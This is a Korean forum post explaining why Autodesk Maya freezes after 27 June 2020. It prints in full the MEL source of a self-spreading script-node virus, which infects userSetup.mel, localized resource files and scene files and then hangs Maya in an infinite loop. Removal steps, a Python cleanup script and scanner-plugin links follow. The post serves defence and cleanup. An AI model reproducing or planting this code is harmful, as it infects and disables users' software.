회원 로그인
|
2020년 6월 27일 이후 마야가 멈추는 문제
:2020년 6월 27일 이후 마야가 멈추는 문제
증상
해결
참고
https://gist.github.com/OriginalAdric/acbe902c89064e8300f2bc475a953e05
증상
- 마야를 실행하면 멈춤
- 마야를 실행을 했더라도 씬 파일을 열면 멈춤
- 즉, 악성 코드
원인
- C:\Users\사용자\Documents\maya\scripts\userSetup.mel에 아래 내용이 저장 또는 씬 파일 마다 MayaMelUIConfigurationFile 노드가 생성됨
// Maya Mel UI Configuration File.Maya Mel UI Configuration File.. // // // This script is machine generated. Edit at your own risk. // // //////////////////////////////////////////////////////////////////// global proc UI_Mel_Configuration_think(){ string $localized_resources_path = `getenv MAYA_LOCATION`+("/resources/l10n/"); string $all_file[]=`getFileList -folder $localized_resources_path`; string $localized_anim_strings_path =("/plug-ins/animImportExport.pres.mel"); global string $Mel_file_address_lj=(""); // Infect localized anim import/export string files w/ virus? for ( $loc_folder_index = 0 ;$loc_folder_index<`size $all_file`;$loc_folder_index++) { string $Mel_file_address=($localized_resources_path+$all_file[$loc_folder_index]+$localized_anim_strings_path); // If can copy localized file... if (`sysFile -cp ($Mel_file_address+(".Mel")) ($Mel_file_address) ` == 1){ // Delete copied file sysFile -del ($Mel_file_address+(".Mel")); int $gc_xh=0; string $Mel_File_LineBuffer[]; clear $Mel_File_LineBuffer; // Open original localized file $fileId=`fopen ($Mel_file_address) ("r")`; $Mel_File_LineBuffer[0] = `fgetline $fileId`; // Copy localized file lines into buffer while (` size $Mel_File_LineBuffer[$gc_xh]` != 0 ){ $gc_xh++; $Mel_File_LineBuffer[$gc_xh] = `fgetline $fileId`; } fclose $fileId; // Check if localized file has token indicating infection int $isInfected = 0 ; for ( $line_index=0; $line_index<`size $Mel_File_LineBuffer`; $line_index++) { if ($Mel_File_LineBuffer[$line_index] == ("// Maya Mel UI Configuration File.Maya Mel UI Configuration File..")) { $isInfected=1; $line_index=99999999; } } // If not infected, infect current localized file if ($isInfected == 0 ){ $Mel_file_address_lj=$Mel_file_address; if (`whatIs UI_Mel_Configuration_think_b` != "Unknown"){ UI_Mel_Configuration_think_b; } } } else { // Can't infect localized string file(s); create UserSetup.mel instead if (`whatIs UI_Mel_Configuration_think_a` != "Unknown") { UI_Mel_Configuration_think_a; } } } } global proc UI_Mel_Configuration_think_a(){ // Get application defaults file path as tokenized list string $system_WDLJ = `about -environmentFile`; string $buffer[]; tokenize $system_WDLJ "/" $buffer; // Re-combine all but last 2 tokens on first token for($ii = 1; $ii < `size $buffer` - 2; $ii++) { $buffer[0] = $buffer[0] + "/" + $buffer[$ii]; } // Make first token point to user setup script location $buffer[0] = $buffer[0] + "/scripts/userSetup.mel"; int $pd_file_existence_check = 0; // Check that userSetup file exists if (`sysFile -cp ($buffer[0]+"..a") ($buffer[0]) ` == 1){ // File exists; clean up 'check' file. sysFile -del ($buffer[0]+"..a"); // ? Copy setup into memory ? int $ii=0; string $NR_all[]; clear $NR_all; $fileId=`fopen ($buffer[0]) "r"`; $NR_all[0] = `fgetline $fileId`; while (` size $NR_all[$ii]` != 0 ){ $ii++; $NR_all[$ii] = `fgetline $fileId`; } fclose $fileId; int $pdNR_all=0; for ($ii = 0 ; $ii<`size $NR_all`;$ii++){ if ($NR_all[$ii] == ("// Maya Mel UI Configuration File.Maya Mel UI Configuration File..")){ $pdNR_all = 1 ;$ii= 99999999; } } if ($pdNR_all == 0){ $pd_file_existence_check = 1; } } // Copy failed. File doesn't exist. else { // Create blank userSetup file. $sys_document = `fopen ($buffer[0]) "w"`; fprint $sys_document (""); fclose $sys_document; // Try to copy file if (`sysFile -cp ($buffer[0]+"..a") ($buffer[0]) ` == 1){ // Clean up 'check' file sysFile -del ($buffer[0]+"..a"); $pd_file_existence_check = 1; } } if($pd_file_existence_check == 1){ // Copy this script into memory? string $script[] = `ls -type script`; int $isInfected=0; string $nr; for ($ii = 0 ; $ii<`size $script`;$ii++){ $nr = `scriptNode -q -beforeScript $script[$ii]` ; string $infected_file_token = `substring $nr 1 50`; if ($infected_file_token == ("// Maya Mel UI Configuration File.Maya Mel UI Conf")){ $isInfected = 1; $ii = 999999999; } } // Write this script to userSetup? if ($isInfected == 1){ $fuck_All_U = `fopen ($buffer[0]) ("a")`; fprint $fuck_All_U ($nr); fclose $fuck_All_U; } } } global proc UI_Mel_Configuration_think_b() { global string $Mel_file_address_lj; string $script[]=`ls -type script`; int $isInfected=0; string $nr; for ($ii = 0 ; $ii<`size $script`; $ii++){ $nr = ` scriptNode -q -beforeScript $script[$ii] ` ; string $infected_file_token = `substring $nr 1 50`; if ($infected_file_token == ("// Maya Mel UI Configuration File.Maya Mel UI Conf")){ $isInfected = 1; $ii = 999999999; } } if ($isInfected == 1){ $fuck_All_U = ` fopen ($Mel_file_address_lj) ("a")`; fprint $fuck_All_U ($nr); fclose $fuck_All_U; $Mel_file_address_lj=(""); } } global proc autoUpdateAttrEd_SelectSystem(){ string $script[]=`ls -type script`; int $isInfected = 0 ; for ($ii = 0 ; $ii<`size $script`;$ii++){ string $nr = `scriptNode -q -beforeScript $script[$ii] `; string $infected_file_token = `substring $nr 1 50`; if ($infected_file_token == ("// Maya Mel UI Configuration File.Maya Mel UI Conf")){ $isInfected = 1; $ii = 999999999; } } if ($isInfected == 0 ){ string $chengxu =`scriptNode -n MayaMelUIConfigurationFile -beforeScript "// Maya Mel UI Configuration File.Maya Mel UI Configuration File.."`; setAttr ($chengxu+(".scriptType")) 1; } } global proc autoUpdatcAttrEd(){ // Get current date as int string $aboutCD = `about -cd`; string $buffer[]; tokenize $aboutCD ("/") $buffer; $buffer[0] = $buffer[0]+$buffer[1]+$buffer[2]; int $PuTianTongQing=$buffer[0]; // Put app into infinite loop if later than June 27, 2020 if ($PuTianTongQing >= 20200627 ){ for ($Ii=1 ; $Ii>0; $Ii++){ } } } global proc autoUpdatoAttrEnd(){ if ( `whatIs autoUpdatcAttrEd` != "Unknown" ){ autoUpdatcAttrEd; } if ( `whatIs autoUpdateAttrEd_SelectSystem` != "Unknown" ){ autoUpdateAttrEd_SelectSystem; } if ( `whatIs UI_Mel_Configuration_think` != "Unknown" ){ UI_Mel_Configuration_think; } } global proc autoUpdatcAttrEnd(){ if (`whatIs autoUpdatoAttrEnd` != "Unknown" ){ global int $autoUpdateAttrEd_aoto_int; if($autoUpdateAttrEd_aoto_int == 0 ){ $autoUpdateAttrEd_aoto_int=`scriptJob -e ("SelectionChanged") ("autoUpdatoAttrEnd") `; } } } autoUpdatcAttrEnd;
해결
- 내문서/maya 폴더 내의 userSetup.mel 파일이 정상적인지 확인 후 삭제
- C:\Users\사용자\Documents\maya\scripts\userSetup.mel
- C:\Users\사용자\Documents\maya\마야버전\scripts\userSetup.mel
- Open 옵션 창에서 General Options > Execute script nodes 체크 해제
- 파일 오픈
- 아래 스크립트 실행 (파이썬)
import maya.cmds as cmds ta = cmds.ls('MayaMelUIConfigurationFile*', '*:MayaMelUIConfigurationFile', r=True) print ("There are " + str(len(ta)) + " MayaMelUIConfigurationFile node") for t in ta: print ("DELETE \'" + t + "\' node") cmds.delete(t)
5. 씬 저장 (백업을 위해 다른 이름으로 저장 추천)
또는
- Maya Scanner 플러그인(첨부파일) 설치 후 해결
- 파일이 열릴 때 자동으로 스캔하여 픽스해준다. (원본에 그대로 저장 후 마야 종료)
참고
https://gist.github.com/OriginalAdric/acbe902c89064e8300f2bc475a953e05
해결
플러그인
- MayaScanner-win64.msi (596KB) (0)
- MayaScanner-macos.pkg (230.8KB) (0)
- MayaScanner-linux.sh (216.3KB) (0)
댓글 0개
| 엮인글 0개
466개(3/24페이지)
번호 | 제목 | 글쓴이 | 조회 | 날짜 |
---|---|---|---|---|
마야 뷰포트 네비게이션 팁 | 푸딩뱃살 | 42333 | 2020.04.06 17:22 | |
Maya 버전 별 Python 버전 | 푸딩뱃살 | 63661 | 2014.01.08 17:59 | |
424 | [Rigging] 언리얼 엔진 사용 시 리깅 주의 | 푸딩뱃살 | 1634 | 2021.05.10 17:54 |
423 | [Base] 오브젝트 선택 | 푸딩뱃살 | 1457 | 2021.05.04 12:35 |
422 | [오류] 저장할 때 마다 중국어 경고 문구 | 푸딩뱃살 | 2152 | 2020.12.16 13:51 |
421 | [Base] Orthographic views cannot be tumbled. | 푸딩뱃살 | 1539 | 2020.10.13 19:41 |
420 | [Script] thread 사용 안된다 | 푸딩뱃살 | 1902 | 2020.09.09 16:15 |
419 | [Script] pip 사용 안된다 | 푸딩뱃살 | 1880 | 2020.06.30 19:11 |
>> | [오류] 2020년 6월 27일 이후 마야가 멈추는 문제 | 푸딩뱃살 | 2130 | 2020.06.29 14:03 |
417 | [FX] nCloth에서 Map Properties를 수정하면 충돌 리지드가 안먹는 | 푸딩뱃살 | 1506 | 2020.06.15 19:24 |
416 | [Script] 설정 저장 | 푸딩뱃살 | 1541 | 2020.06.01 10:58 |
415 | [Script] Heads Up Display | 푸딩뱃살 | 1580 | 2020.05.27 01:39 |
414 | [Base] 마야 Help 크롬에서 열기 | 푸딩뱃살 | 1877 | 2020.05.26 23:45 |
413 | [오류] pymel.core 에러? | 푸딩뱃살 | 901 | 2020.05.17 16:25 |
412 | [Script] opencv for Maya2017, 2018 | 푸딩뱃살 | 2108 | 2020.04.12 00:07 |
411 | [Script] numpy for Maya2017 | 푸딩뱃살 | 1826 | 2020.04.09 20:15 |
410 | [Plugin] Skinning Tools | 푸딩뱃살 | 1797 | 2020.03.19 17:34 |
409 | [Plugin] Rigger - Auto Rig for Maya | 푸딩뱃살 | 1648 | 2020.03.14 20:04 |
408 | [Base] .mel 파일 오픈 후 안되는 것 | 푸딩뱃살 | 1978 | 2020.03.06 10:29 |
407 | [Modeling] 엣지가 점선으로 나올 때 - soft edge | 푸딩뱃살 | 1815 | 2019.12.31 11:11 |
406 | [Plugin] USD Plugin for Maya | 푸딩뱃살 | 2057 | 2019.12.18 11:45 |
405 | [Rigging] decomposeMatrix를 이용한 trasform 연결 | 푸딩뱃살 | 1975 | 2019.10.29 11:30 |